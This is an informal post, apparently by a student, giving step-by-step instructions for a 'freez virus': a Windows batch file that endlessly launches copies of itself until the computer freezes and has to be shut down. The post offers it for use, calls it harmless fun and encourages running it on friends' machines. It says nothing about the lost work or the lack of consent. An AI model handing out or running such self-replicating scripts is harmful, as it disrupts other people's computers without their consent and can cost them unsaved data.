make a freez virus only for fun

hello....
many of ma friends ask me plz tell me how can i make freez virus??
now the answer is here.....
i have a new trick for making a freez virus.
it is totaly harmless and it is only for fun.
try it and watch result!!! :)
WARNING:-dont try it on angry friends..... hahahahahahaha

here is a trick:

1. open notepad
2. type "start virus.bat"
3. next line type "virus.bat"
4.save it as "virus.bat"
5.now open file and watch....
for stop this the only solution is shut down.
i also did this so many time....
enjoy:)
princy gupta(2nd yr)
MMEC